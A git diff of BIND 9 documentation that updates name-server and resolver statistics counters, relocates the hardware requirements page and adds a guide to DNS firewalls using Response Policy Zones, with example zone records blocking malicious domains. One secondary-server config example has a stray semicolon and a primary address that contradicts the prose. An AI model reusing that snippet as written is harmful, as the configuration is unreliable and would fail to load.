@@ -6528,9 +7572,9 @@ views.
 
 There are currently two user interfaces to get access to the statistics.
 One is in plain-text format, dumped to the file specified by the
-``statistics-file`` configuration option; the other is remotely
-accessible via a statistics channel when the ``statistics-channels``
-statement is specified in the configuration file (see :ref:`statschannels`.)
+:any:`statistics-file` configuration option; the other is remotely
+accessible via a statistics channel when the :any:`statistics-channels`
+statement is specified in the configuration file.
 
 .. _statsfile:
 
@@ -6652,13 +7696,13 @@ Name Server Statistics Counters
     This indicates the number of queries that resulted in NXDOMAIN. This corresponds to the ``nxdomain`` counter of previous versions of BIND 9.
 
 ``QryRecursion``
-    This indicates the number of queries that caused the server to perform recursion in order to find the final answer. This corresponds to the ``recursion`` counter of previous versions of BIND 9.
+    This indicates the number of queries that caused the server to perform recursion in order to find the final answer. This corresponds to the :any:`recursion` counter of previous versions of BIND 9.
 
 ``QryDuplicate``
     This indicates the number of queries which the server attempted to recurse but for which it discovered an existing query with the same IP address, port, query ID, name, type, and class already being processed. This corresponds to the ``duplicate`` counter of previous versions of BIND 9.
 
 ``QryDropped``
-    This indicates the number of recursive queries for which the server discovered an excessive number of existing recursive queries for the same name, type, and class, and which were subsequently dropped. This is the number of dropped queries due to the reason explained with the ``clients-per-query`` and ``max-clients-per-query`` options (see :ref:`clients-per-query <clients-per-query>`). This corresponds to the ``dropped`` counter of previous versions of BIND 9.
+    This indicates the number of recursive queries dropped by the server as a result of configured limits. These limits include the settings of the :any:`fetches-per-zone`, :any:`fetches-per-server`, :any:`clients-per-query`, and :any:`max-clients-per-query` options, as well as the :any:`rate-limit` option. This corresponds to the ``dropped`` counter of previous versions of BIND 9.
 
 ``QryFailure``
     This indicates the number of query failures. This corresponds to the ``failure`` counter of previous versions of BIND 9. Note: this counter is provided mainly for backward compatibility with previous versions; normally, more fine-grained counters such as ``AuthQryRej`` and ``RecQryRej`` that would also fall into this counter are provided, so this counter is not of much interest in practice.
@@ -6690,6 +7734,11 @@ Name Server Statistics Counters
 ``UpdateBadPrereq``
     This indicates the number of dynamic updates rejected due to a prerequisite failure.
 
+``UpdateQuota``
+    This indicates the number of times a dynamic update or update
+    forwarding request was rejected because the number of pending
+    requests exceeded :any:`update-quota`.
+
 ``RateDropped``
     This indicates the number of responses dropped due to rate limits.
 
@@ -6776,7 +7825,7 @@ Resolver Statistics Counters
     This indicates the number of EDNS(0) query failures.
 
 ``Mismatch``
-    This indicates the number of mismatched responses received, meaning the DNS ID, response's source address, and/or the response's source port does not match what was expected. (The port must be 53 or as defined by the ``port`` option.) This may be an indication of a cache poisoning attempt.
+    This indicates the number of mismatched responses received, meaning the DNS ID, response's source address, and/or the response's source port does not match what was expected. (The port must be 53 or as defined by the :namedconf:ref:`port` option.) This may be an indication of a cache poisoning attempt.
 
 ``Truncated``
     This indicates the number of truncated responses received.
@@ -6793,6 +7842,12 @@ Resolver Statistics Counters
 ``QuerySockFail``
     This indicates the number of failures in opening query sockets. One common reason for such failures is due to a limitation on file descriptors.
 
+``QueryCurUDP``
+    This indicates the number of UDP queries in progress.
+
+``QueryCurTCP``
+    This indicates the number of TCP queries in progress.
+
 ``QueryTimeout``
     This indicates the number of query timeouts.
 
@@ -6823,6 +7878,48 @@ Resolver Statistics Counters
 ``QryRTTnn``
     This provides a frequency table on query round-trip times (RTTs). Each ``nn`` specifies the corresponding frequency. In the sequence of ``nn_1``, ``nn_2``, ..., ``nn_m``, the value of ``nn_i`` is the number of queries whose RTTs are between ``nn_(i-1)`` (inclusive) and ``nn_i`` (exclusive) milliseconds. For the sake of convenience, we define ``nn_0`` to be 0. The last entry should be represented as ``nn_m+``, which means the number of queries whose RTTs are equal to or greater than ``nn_m`` milliseconds.
 
+``NumFetch``
+    This indicates the number of active fetches.
+
+``BucketSize``
+    This indicates the number the resolver's internal buckets (a static number).
+
+``REFUSED``
+    This indicates the number of REFUSED responses received.
+
+``ClientCookieOut``
+    This indicates the number of COOKIE sent with client cookie only.
+
+``ServerCookieOut``
+    This indicates the number of COOKIE sent with client and server cookie.
+
+``CookieIn``
+    This indicates the number of COOKIE replies received.
+
+``CookieClientOk``
+    This indicates the number of COOKIE client ok.
+
+``BadEDNSVersion``
+    This indicates the number of bad EDNS version replies received.
+
+``BadCookieRcode``
+    This indicates the number of bad cookie rcode replies received.
+
+``ZoneQuota``
+    This indicates the number of queries spilled due to zone quota.
+
+``ServerQuota``
+    This indicates the number of queries spilled due to server quota.
+
+``ClientQuota``
+    This indicates the number of queries spilled due to clients per query quota.
+
+``NextItem``
+    This indicates the number of waits for next item, when an invalid response is received.
+
+``Priming``
+    This indicates the number of priming fetches performed by the resolver.
+
 .. _socket_stats:
 
 Socket I/O Statistics Counters
diff --git a/doc/arm/requirements.inc.rst b/doc/arm/requirements.inc.rst
new file mode 100644
index 0000000000..f15bd5782b
--- /dev/null
+++ b/doc/arm/requirements.inc.rst
@@ -0,0 +1,72 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _requirements:
+
+Resource Requirements
+=====================
+
+.. _hw_req:
+
+Hardware Requirements
+---------------------
+
+DNS hardware requirements have traditionally been quite modest. For many
+installations, servers that have been retired from active duty
+have performed admirably as DNS servers.
+
+However, the DNSSEC features of BIND 9 may be quite CPU-intensive,
+so organizations that make heavy use of these features may wish
+to consider larger systems for these applications. BIND 9 is fully
+multithreaded, allowing full utilization of multiprocessor systems for
+installations that need it.
+
+.. _cpu_req:
+
+CPU Requirements
+----------------
+
+CPU requirements for BIND 9 range from i386-class machines, for serving
+static zones without caching, to enterprise-class machines
+to process many dynamic updates and DNSSEC-signed zones, serving
+many thousands of queries per second.
+
+.. _mem_req:
+
+Memory Requirements
+-------------------
+
+Server memory must be sufficient to hold both the cache and the
+zones loaded from disk. The :any:`max-cache-size` option can
+limit the amount of memory used by the cache, at the expense of reducing
+cache hit rates and causing more DNS traffic. It is still good practice
+to have enough memory to load all zone and cache data into memory;
+unfortunately, the best way to determine this for a given installation
+is to watch the name server in operation. After a few weeks, the server
+process should reach a relatively stable size where entries are expiring
+from the cache as fast as they are being inserted.
+
+.. _intensive_env:
+
+Name Server-Intensive Environment Issues
+----------------------------------------
+
+For name server-intensive environments, there are two
+configurations that may be used. The first is one where clients and any
+second-level internal name servers query the main name server, which has
+enough memory to build a large cache; this approach minimizes the
+bandwidth used by external name lookups. The second alternative is to
+set up second-level internal name servers to make queries independently.
+In this configuration, none of the individual machines need to have as
+much memory or CPU power as in the first alternative, but this has the
+disadvantage of making many more external queries, as none of the name
+servers share their cached data.
+
diff --git a/doc/arm/requirements.rst b/doc/arm/requirements.rst
deleted file mode 100644
index f2dbf62c35..0000000000
--- a/doc/arm/requirements.rst
+++ /dev/null
@@ -1,80 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. Requirements:
-
-BIND Resource Requirements
-==========================
-
-.. _hw_req:
-
-Hardware Requirements
----------------------
-
-DNS hardware requirements have traditionally been quite modest. For many
-installations, servers that have been retired from active duty
-have performed admirably as DNS servers.
-
-However, the DNSSEC features of BIND 9 may be quite CPU-intensive,
-so organizations that make heavy use of these features may wish
-to consider larger systems for these applications. BIND 9 is fully
-multithreaded, allowing full utilization of multiprocessor systems for
-installations that need it.
-
-.. _cpu_req:
-
-CPU Requirements
-----------------
-
-CPU requirements for BIND 9 range from i386-class machines, for serving
-static zones without caching, to enterprise-class machines
-to process many dynamic updates and DNSSEC-signed zones, serving
-many thousands of queries per second.
-
-.. _mem_req:
-
-Memory Requirements
--------------------
-
-Server memory must be sufficient to hold both the cache and the
-zones loaded from disk. The ``max-cache-size`` option can
-limit the amount of memory used by the cache, at the expense of reducing
-cache hit rates and causing more DNS traffic. It is still good practice
-to have enough memory to load all zone and cache data into memory;
-unfortunately, the best way to determine this for a given installation
-is to watch the name server in operation. After a few weeks, the server
-process should reach a relatively stable size where entries are expiring
-from the cache as fast as they are being inserted.
-
-.. _intensive_env:
-
-Name Server-Intensive Environment Issues
-----------------------------------------
-
-For name server-intensive environments, there are two
-configurations that may be used. The first is one where clients and any
-second-level internal name servers query a main name server, which has
-enough memory to build a large cache; this approach minimizes the
-bandwidth used by external name lookups. The second alternative is to
-set up second-level internal name servers to make queries independently.
-In this configuration, none of the individual machines need to have as
-much memory or CPU power as in the first alternative, but this has the
-disadvantage of making many more external queries, as none of the name
-servers share their cached data.
-
-.. _supported_os:
-
-Supported Operating Systems
----------------------------
-
-ISC BIND 9 compiles and runs on many Unix-like operating
-systems and on Microsoft Windows Server 2012 R2, 2016, and Windows 10.
-For an up-to-date list of supported systems, see the PLATFORMS.md file
-in the top-level directory of the BIND 9 source distribution.
diff --git a/doc/arm/requirements.txt b/doc/arm/requirements.txt
index d2034cb33d..f18056d25b 100644
--- a/doc/arm/requirements.txt
+++ b/doc/arm/requirements.txt
@@ -1,2 +1,5 @@
-Sphinx>=2
-docutils<0.17
+# docutils < 0.19 are required for RHEL 8 and older (but we don't care about these)
+# and by the latest sphinx-rtd-theme (and we care about that one)
+Sphinx==6.2.1
+docutils==0.18.1
+sphinx_rtd_theme==1.2.2
diff --git a/doc/arm/resolver-forward.dia b/doc/arm/resolver-forward.dia
new file mode 100644
index 0000000000..9faf84e243
Binary files /dev/null and b/doc/arm/resolver-forward.dia differ
diff --git a/doc/arm/resolver-forward.png b/doc/arm/resolver-forward.png
new file mode 100644
index 0000000000..188e834a3e
Binary files /dev/null and b/doc/arm/resolver-forward.png differ
diff --git a/doc/arm/rpz.inc.rst b/doc/arm/rpz.inc.rst
new file mode 100644
index 0000000000..18349540a6
--- /dev/null
+++ b/doc/arm/rpz.inc.rst
@@ -0,0 +1,786 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. highlight:: none
+
+.. dns_firewalls_rpz:
+
+DNS Firewalls and Response Policy Zones
+---------------------------------------
+
+A DNS firewall examines DNS traffic and allows some responses to pass
+through while blocking others. This examination can be based on several
+criteria, including the name requested, the data (such as an IP address)
+associated with that name, or the name or IP address of the name server
+that is authoritative for the requested name.  Based on these criteria, a
+DNS firewall can be configured to discard, modify, or replace the original
+response, allowing administrators more control over what systems can access
+or be accessed from their networks.
+
+DNS Response Policy Zones (RPZ) are a form of DNS firewall in which the
+firewall rules are expressed within the DNS itself - encoded in an open,
+vendor-neutral format as records in specially constructed DNS zones.
+
+Using DNS zones to configure policy allows policy to be shared from
+one server to another using the standard DNS zone transfer mechanism.
+This allows a DNS operator to maintain their own firewall policies and
+share them easily amongst their internal name servers, or to subscribe to
+external firewall policies such as commercial or cooperative "threat
+feeds," or both.
+
+:iscman:`named` can subscribe to up to 64 Response Policy Zones, each of which
+encodes a separate policy rule set.  Each rule is stored in a DNS resource
+record set (RRset) within the RPZ, and consists of a **trigger** and an
+**action**.  There are five types of triggers and six types of actions.
+
+A response policy rule in a DNS RPZ can be triggered as follows:
+
+- by the IP address of the client
+- by the query name
+- by an address which would be present in a truthful response
+- by the name or address of an authoritative name server responsible for
+  publishing the original response
+
+A response policy action can be one of the following:
+
+- to synthesize a "domain does not exist" (NXDOMAIN) response
+- to synthesize a "name exists but there are no records of the requested
+  type" (NODATA) response
+- to drop the response
+- to switch to TCP by sending a truncated UDP response that requires the
+  DNS client to try again with TCP
+- to replace/override the response's data with specific data (provided
+  within the response policy zone)
+- to exempt the response from further policy processing
+
+The most common use of a DNS firewall is to "poison" a domain name, IP
+address, name server name, or name server IP address. Poisoning is usually
+done by forcing a synthetic "domain does not exist" (NXDOMAIN) response.
+This means that if an administrator maintains a list of known "phishing"
+domains, these names can be made unreachable by customers or end users just
+by adding a firewall policy into the recursive DNS server, with a trigger
+for each known "phishing" domain, and an action in every case forcing a
+synthetic NXDOMAIN response. It is also possible to use a data-replacement
+action such as answering for these known "phishing" domains with the name
+of a local web server that can display a warning page. Such a web server
+would be called a "walled garden."
+
+.. note::
+
+  Authoritative name servers can be responsible for many different domains.
+  If DNS RPZ is used to poison all domains served by some authoritative
+  name server name or address, the effects can be quite far-reaching. Users
+  are advised to ensure that such authoritative name servers do not also
+  serve domains that should not be poisoned.
+
+.. _why_dns_firewall:
+
+Why Use a DNS Firewall?
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Criminal and network abuse traffic on the Internet often uses the Domain
+Name System (DNS), so protection against these threats should include DNS
+firewalling.  A DNS firewall can selectively intercept DNS queries for
+known network assets including domain names, IP addresses, and name
+servers. Interception can mean rewriting a DNS response to direct a web
+browser to a "walled garden," or simply making any malicious network assets
+invisible and unreachable.
+
+.. _what_dns_firewalls_do:
+
+What Can a DNS Firewall Do?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Firewalls work by applying a set of rules to a traffic flow, where each
+rule consists of a trigger and an action. Triggers determine which messages
+within the traffic flow are handled specially, and actions determine what
+that special handling is. For a DNS firewall, the traffic flow to be
+controlled consists of responses sent by a recursive DNS server to its
+end-user clients. Some true responses are not safe for all clients, so the
+policy rules in a DNS firewall allow some responses to be intercepted and
+replaced with safer content.
+
+.. _rpz_rule_sets:
+
+Creating and Maintaining RPZ Rule Sets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In DNS RPZ, the DNS firewall policy rule set is stored in a DNS zone, which
+is maintained and synchronized using the same tools and methods as for any
+other DNS zone. The primary name server for a DNS RPZ may be an internal
+server, if an administrator is creating and maintaining their own DNS
+policy zone, or it may be an external name server (such as a security
+vendor's server), if importing a policy zone published externally. The
+primary copy of the DNS firewall policy can be a DNS "zone file" which is
+either edited by hand or generated from a database. A DNS zone can also be
+edited indirectly using DNS dynamic updates (for example, using the
+"nsupdate" shell level utility).
+
+DNS RPZ allows firewall rules to be expressed in a DNS zone format and then
+carried to subscribers as DNS data. A recursive DNS server which is capable
+of processing DNS RPZ synchronizes these DNS firewall rules using the same
+standard DNS tools and protocols used for secondary name service. The DNS
+policy information is then promoted to the DNS control plane inside the
+customer's DNS resolver, making that server into a DNS firewall.
+
+A security company whose products include threat intelligence feeds can use
+a DNS Response Policy Zone (RPZ) as a delivery channel to customers.
+Threats can be expressed as known-malicious IP addresses and subnets,
+known-malicious domain names, and known-malicious domain name servers. By
+feeding this threat information directly into customers' local DNS
+resolvers, providers can transform these DNS servers into a distributed DNS
+firewall.
+
+When a customer's DNS resolver is connected by a realtime subscription to a
+threat intelligence feed, the provider can protect the customer's end users
+from malicious network elements (including IP addresses and subnets, domain
+names, and name servers) immediately as they are discovered. While it may
+take days or weeks to "take down" criminal and abusive infrastructure once
+reported, a distributed DNS firewall can respond instantly.
+
+Other distributed TCP/IP firewalls have been on the market for many years,
+and enterprise users are now comfortable importing real-time threat
+intelligence from their security vendors directly into their firewalls.
+This intelligence can take the form of known-malicious IP addresses or
+subnets, or of patterns which identify known-malicious email attachments,
+file downloads, or web addresses (URLs). In some products it is also
+possible to block DNS packets based on the names or addresses they carry.
+
+.. _rpz_limitations:
+
+Limitations of DNS RPZ
+~~~~~~~~~~~~~~~~~~~~~~
+
+We're often asked if DNS RPZ could be used to set up redirection to a CDN.
+For example, if "mydomain.com" is a normal domain with SOA, NS, MX, TXT
+records etc., then if someone sends an A or AAAA query for "mydomain.com",
+can we use DNS RPZ on an authoritative nameserver to return "CNAME
+mydomain.com.my-cdn-provider.net"?
+
+The problem with this suggestion is that there is no way to CNAME only A
+and AAAA queries, not even with RPZ.
+
+The underlying reason is that if the authoritative server answers with a
+CNAME, the recursive server making that query will cache the response.
+Thereafter (while the CNAME is still in cache), it assumes that there are
+no records of any non-CNAME type for the name that was being queried, and
+directs subsequent queries for all other types directly to the target name
+of the CNAME record.
+
+To be clear, this is not a limitation of RPZ; it is a function of the way
+the DNS protocol works. It's simply not possible to use "partial" CNAMES to
+help when setting up CDNs because doing this will break other functionality
+such as email routing.
+
+Similarly, following the DNS protocol definition, wildcards in the form of
+``*.example`` records might behave in unintuitive ways. For a detailed
+definition of wildcards in DNS, please see :rfc:`4592`, especially section 2.
+
+.. _dns_firewall_examples:
+
+DNS Firewall Usage Examples
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Here are some scenarios in which a DNS firewall might be useful.
+
+Some known threats are based on an IP address or subnet (IP address range).
+For example, an analysis may show that all addresses in a "class C" network
+are used by a criminal gang for "phishing" web servers. With a DNS firewall
+based on DNS RPZ, a firewall policy can be created such as "if a DNS lookup
+would result in an address from this class C network, then answer instead
+with an NXDOMAIN indication." That simple rule would prevent any end users
+inside customers' networks from being able to look up any domain name used
+in this phishing attack – without having to know in advance what those
+names might be.
+
+Other known threats are based on domain names. An analysis may determine
+that a certain domain name or set of domain names is being or will shortly
+be used for spamming, phishing, or other Internet-based attacks which all
+require working domain names. By adding name-triggered rules to a
+distributed DNS firewall, providers can protect customers' end users from
+any attacks which require them to be able to look up any of these malicious
+names. The names can be wildcards (for example, \*.evil.com), and these
+wildcards can have exceptions if some domains are not as malicious as
+others (if \*.evil.com is bad, then not.evil.com might be an exception).
+
+Alongside growth in electronic crime has come growth of electronic criminal
+expertise. Many criminal gangs now maintain their own extensive DNS
+infrastructure to support a large number of domain names and a diverse set
+of IP addressing resources. Analyses show in many cases that the only truly
+fixed assets criminal organizations have are their name servers, which are
+by nature slightly less mobile than other network assets. In such cases,
+DNS administrators can anchor their DNS firewall policies in the abusive
+name server names or name server addresses, and thus protect their
+customers' end users from threats where neither the domain name nor the IP
+address of that threat is known in advance.
+
+Electronic criminals rely on the full resiliency of DNS just as the rest of
+digital society does. By targeting criminal assets at the DNS level we can
+deny these criminals the resilience they need. A distributed DNS firewall
+can leverage the high skills of a security company to protect a large
+number of end users. DNS RPZ, as the first open and vendor-neutral
+distributed DNS firewall, can be an effective way to deliver threat
+intelligence to customers.
+
+A Real-World Example of DNS RPZ's Value
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The Conficker malware worm (https://en.wikipedia.org/wiki/Conficker) was
+first detected in 2008. Although it is no longer an active threat, the
+techniques described here can be applied to other DNS threats.
+
+Conficker used a domain generation algorithm (DGA) to choose up to 50,000
+command and control domains per day. It would be impractical to create
+an RPZ that contains so many domain names and changes so much on a daily
+basis. Instead, we can trigger RPZ rules based on the names of the name
+servers that are authoritative for the command and control domains, rather
+than trying to trigger on each of 50,000 different (daily) query names.
+Since the well-known name server names for Conficker's domain names are
+never used by nonmalicious domains, it is safe to poison all lookups that
+rely on these name servers.  Here is an example that achieves this result:
+
+::
+
+  $ORIGIN rpz.example.com.
+  ns.0xc0f1c3a5.com.rpz-nsdname  CNAME  *.walled-garden.example.com.
+  ns.0xc0f1c3a5.net.rpz-nsdname  CNAME  *.walled-garden.example.com.
+  ns.0xc0f1c3a5.org.rpz-nsdname  CNAME  *.walled-garden.example.com.
+
+The ``*`` at the beginning of these CNAME target names is special, and it
+causes the original query name to be prepended to the CNAME target. So if a
+user tries to visit the Conficker command and control domain
+http://racaldftn.com.ai/ (which was a valid Conficker command and control
+domain name on 19-October-2011), the RPZ-configured recursive name server
+will send back this answer:
+
+::
+
+  racaldftn.com.ai.     CNAME     racaldftn.com.ai.walled-garden.example.com.
+  racaldftn.com.ai.walled-garden.example.com.     A      192.168.50.3
+
+This example presumes that the following DNS content has also been created,
+which is not part of the RPZ zone itself but is in another domain:
+
+::
+
+  $ORIGIN walled-garden.example.com.
+  *     A     192.168.50.3
+
+Assuming that we're running a web server listening on 192.168.50.3 that
+always displays a warning message no matter what uniform resource
+identifier (URI) is used, the above RPZ configuration will instruct the web
+browser of any infected end user to connect to a "server name" consisting
+of their original lookup name (racaldftn.com.ai) prepended to the walled
+garden domain name (walled-garden.example.com). This is the name that will
+appear in the web server's log file, and having the full name in that log
+file will facilitate an analysis as to which users are infected with what
+virus.
+
+.. _firewall_updates:
+
+Keeping Firewall Policies Updated
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is vital for overall system performance that incremental zone transfers
+(see :rfc:`1995`) and real-time change notification (see :rfc:`1996`) be
+used to synchronize DNS firewall rule sets between the publisher's primary
+copy of the rule set and the subscribers' working copies of the rule set.
+
+If DNS dynamic updates are used to maintain a DNS RPZ rule set, the name
+server automatically calculates a stream of deltas for use when sending
+incremental zone transfers to the subscribing name servers. Sending a
+stream of deltas – known as an "incremental zone transfer" or IXFR – is
+usually much faster than sending the full zone every time it changes, so
+it's worth the effort to use an editing method that makes such incremental
+transfers possible.
+
+Administrators who edit or periodically regenerate a DNS RPZ rule set and
+whose primary name server uses BIND can enable the
+:any:`ixfr-from-differences` option, which tells the primary name server to
+calculate the differences between each new zone and the preceding version,
+and to make these differences available as a stream of deltas for use in
+incremental zone transfers to the subscribing name servers. This will look
+something like the following:
+
+.. code-block:: c
+
+       options {
+                 // ...
+                 ixfr-from-differences yes;
+                 // ...
+       };
+
+As mentioned above, the simplest and most common use of a DNS firewall is
+to poison domain names known to be purely malicious, by simply making them
+disappear. All DNS RPZ rules are expressed as resource record sets
+(RRsets), and the way to express a "force a name-does-not-exist condition"
+is by adding a CNAME pointing to the root domain (``.``). In practice this
+looks like:
+
+::
+
+  $ORIGIN rpz.example.com.
+  malicious1.org          CNAME .
+  *.malicious1.org        CNAME .
+  malicious2.org          CNAME .
+  *.malicious2.org        CNAME .
+
+Two things are noteworthy in this example. First, the malicious names are
+made relative within the response policy zone. Since there is no trailing
+dot following ".org" in the above example, the actual RRsets created within
+this response policy zone are, after expansion:
+
+::
+
+  malicious1.org.rpz.example.com.         CNAME .
+  *.malicious1.org.rpz.example.com.       CNAME .
+  malicious2.org.rpz.example.com.         CNAME .
+  *.malicious2.org.rpz.example.com.       CNAME .
+
+Second, for each name being poisoned, a wildcard name is also listed.
+This is because a malicious domain name probably has or may potentially
+have malicious subdomains.
+
+In the above example, the relative domain names `malicious1.org` and
+`malicious2.org` will match only the real domain names `malicious1.org`
+and `malicious2.org`, respectively. The relative domain names
+`*.malicious1.org` and `*.malicious2.org` will match any
+`subdomain.of.malicious1.org` or `subdomain.of.malicious2.org`,
+respectively.
+
+This example forces an NXDOMAIN condition as its policy action, but other
+policy actions are also possible.
+
+.. _multiple_rpz_performance:
+
+Performance and Scalability When Using Multiple RPZs
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Since version 9.10, BIND can be configured to have different response
+policies depending on the identity of the querying client and the nature of
+the query. To configure BIND response policy, the information is placed
+into a zone file whose only purpose is conveying the policy information to
+BIND. A zone file containing response policy information is called a
+Response Policy Zone, or RPZ, and the mechanism in BIND that uses the
+information in those zones is called DNS RPZ.
+
+It is possible to use as many as 64 separate RPZ files in a single instance
+of BIND, and BIND is not significantly slowed by such heavy use of RPZ.
+
+(Note: by default, BIND 9.11 only supports up to 32 RPZ files, but this
+can be increased to 64 at compile time. All other supported versions of
+BIND support 64 by default.)
+
+Each one of the policy zone files can specify policy for as many
+different domains as necessary. The limit of 64 is on the number of
+independently-specified policy collections and not the number of zones
+for which they specify policy.
+
+Policy information from all of the policy zones together are stored in a
+special data structure allowing simultaneous lookups across all policy
+zones to be performed very rapidly. Looking up a policy rule is
+proportional to the logarithm of the number of rules in the largest
+single policy zone.
+
+.. _rpz_practical_tips:
+
+Practical Tips for DNS Firewalls and DNS RPZ
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Administrators who subscribe to an externally published DNS policy zone and
+who have a large number of internal recursive name servers should create an
+internal name server called a "distribution master" (DM). The DM is a
+secondary (stealth secondary) name server from the publisher's point of
+view; that is, the DM is fetching zone content from the external server.
+The DM is also a primary name server from the internal recursive name
+servers' point of view: they fetch zone content from the DM.  In this
+configuration the DM is acting as a gateway between the external publisher
+and the internal subscribers.
+
+The primary server must know the unicast listener address of every
+subscribing recursive server, and must enumerate all of these addresses as
+destinations for real time zone change notification (as described in
+:rfc:`1996`). So if an enterprise-wide RPZ is called "rpz.example.com" and
+if the unicast listener addresses of four of the subscribing recursive name
+servers are 192.0.200.1, 192.0.201.1, 192.0.202.1, and 192.0.203.1, the
+primary server's configuration looks like this:
+
+.. code-block:: c
+
+  zone "rpz.example.com" {
+       type primary;
+       file "primary/rpz.example.com";
+       notify explicit;
+       also-notify { 192.0.200.1;
+                     192.0.201.1;
+                     192.0.202.1;
+                     192.0.203.1; };
+       allow-transfer { 192.0.200.1;
+                        192.0.201.1;
+                        192.0.202.1;
+                        192.0.203.1; };
+       allow-query { localhost; };
+  };
+
+Each recursive DNS server that subscribes to the policy zone must be
+configured as a secondary server for the zone, and must also be configured
+to use the policy zone for local response policy. To subscribe a recursive
+name server to a response policy zone where the unicast listener address
+of the primary server is 192.0.220.2, the server's configuration should
+look like this:
+
+.. code-block:: c
+
+  options {
+       // ...
+       response-policy {
+            zone "rpz.example.com";
+       };
+       // ...
+  };
+
+  zone "rpz.example.com";
+       type secondary;
+       primaries { 192.0.222.2; };
+       file "secondary/rpz.example.com";
+       allow-query { localhost; };
+       allow-transfer { none; };
+  };
+
+Note that queries are restricted to "localhost," since query access is
+never used by DNS RPZ itself, but may be useful to DNS operators for use in
+debugging. Transfers should be disallowed to prevent policy information
+leaks.
+
+If an organization's business continuity depends on full connectivity with
+another company whose ISP also serves some criminal or abusive customers,
+it's possible that one or more external RPZ providers – that is, security
+feed vendors – may eventually add some RPZ rules that could hurt a
+company's connectivity to its business partner. Users can protect
+themselves from this risk by using an internal RPZ in addition to any
+external RPZs, and by putting into their internal RPZ some "pass-through"
+rules to prevent any policy action from affecting a DNS response that
+involves a business partner.
+
+A recursive DNS server can be connected to more than one RPZ, and these are
+searched in order. Therefore, to protect a network from dangerous policies
+which may someday appear in external RPZ zones, administrators should list
+the internal RPZ zones first.
+
+
+.. code-block:: c
+
+  options {
+       // ...
+       response-policy {
+            zone "rpz.example.com";
+            zone "rpz.security-vendor-1.com";
+            zone "rpz.security-vendor-2.com";
+       };
+       // ...
+  };
+
+Within an internal RPZ, there need to be rules describing the network
+assets of business partners whose communications need to be protected.
+Although it is not generally possible to know what domain names they use,
+administrators will be aware of what address space they have and perhaps
+what name server names they use.
+
+::
+
+  $ORIGIN rpz.example.com.
+  8.0.0.0.10.rpz-ip                CNAME   rpz-passthru.
+  16.0.0.45.128.rpz-nsip           CNAME   rpz-passthru.
+  ns.partner1.com.rpz-nsdname      CNAME   rpz-passthru.
+  ns.partner2.com.rpz-nsdname      CNAME   rpz-passthru.
+
+Here, we know that answers in address block 10.0.0.0/8 indicate a business
+partner, as well as answers involving any name server whose address is in
+the 128.45.0.0/16 address block, and answers involving the name servers
+whose names are ns.partner1.com or ns.partner2.com.
+
+The above example demonstrates that when matching by answer IP address (the
+.rpz-ip owner), or by name server IP address (the .rpz-nsip owner) or by
+name server domain name (the .rpz-nsdname owner), the special RPZ marker
+(.rpz-ip, .rpz-nsip, or .rpz-nsdname) does not appear as part of the CNAME
+target name.
+
+By triggering these rules using the known network assets of a partner,
+and using the "pass-through" policy action, no later RPZ processing
+(which in the above example refers to the "rpz.security-vendor-1.com" and
+"rpz.security-vendor-2.com" policy zones) will have any effect on DNS
+responses for partner assets.
+
+.. _walled_garden_ip_address:
+
+Creating a Simple Walled Garden Triggered by IP Address
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It may be the case that the only thing known about an attacker is the IP
+address block they are using for their "phishing" web servers. If the
+domain names and name servers they use are unknown, but it is known that
+every one of their "phishing" web servers is within a small block of IP
+addresses, a response can be triggered on all answers that would include
+records in this address range, using RPZ rules that look like the following
+example:
+
+::
+
+  $ORIGIN rpz.example.com.
+  22.0.212.94.109.rpz-ip          CNAME   drop.garden.example.com.
+  *.212.94.109.in-addr.arpa       CNAME   .
+  *.213.94.109.in-addr.arpa       CNAME   .
+  *.214.94.109.in-addr.arpa       CNAME   .
+  *.215.94.109.in-addr.arpa       CNAME   .
+
+Here, if a truthful answer would include an A (address) RR (resource
+record) whose value were within the 109.94.212.0/22 address block, then a
+synthetic answer is sent instead of the truthful answer. Assuming the query
+is for www.malicious.net, the synthetic answer is:
+
+::
+
+  www.malicious.net.              CNAME   drop.garden.example.com.
+  drop.garden.example.com.        A       192.168.7.89
+
+This assumes that `drop.garden.example.com` has been created as real DNS
+content, outside of the RPZ:
+
+::
+
+  $ORIGIN example.com.
+  drop.garden                     A       192.168.7.89
+
+In this example, there is no "\*" in the CNAME target name, so the original
+query name will not be present in the walled garden web server's log file.
+This is an undesirable loss of information, and is shown here for example
+purposes only.
+
+The above example RPZ rules would also affect address-to-name (also
+known as "reverse DNS") lookups for the unwanted addresses. If a mail
+or web server receives a connection from an address in the example's
+109.94.212.0/22 address block, it will perform a PTR record lookup to
+find the domain name associated with that IP address.
+
+This kind of address-to-name translation is usually used for diagnostic or
+logging purposes, but it is also common for email servers to reject any
+email from IP addresses which have no address-to-name translation. Most
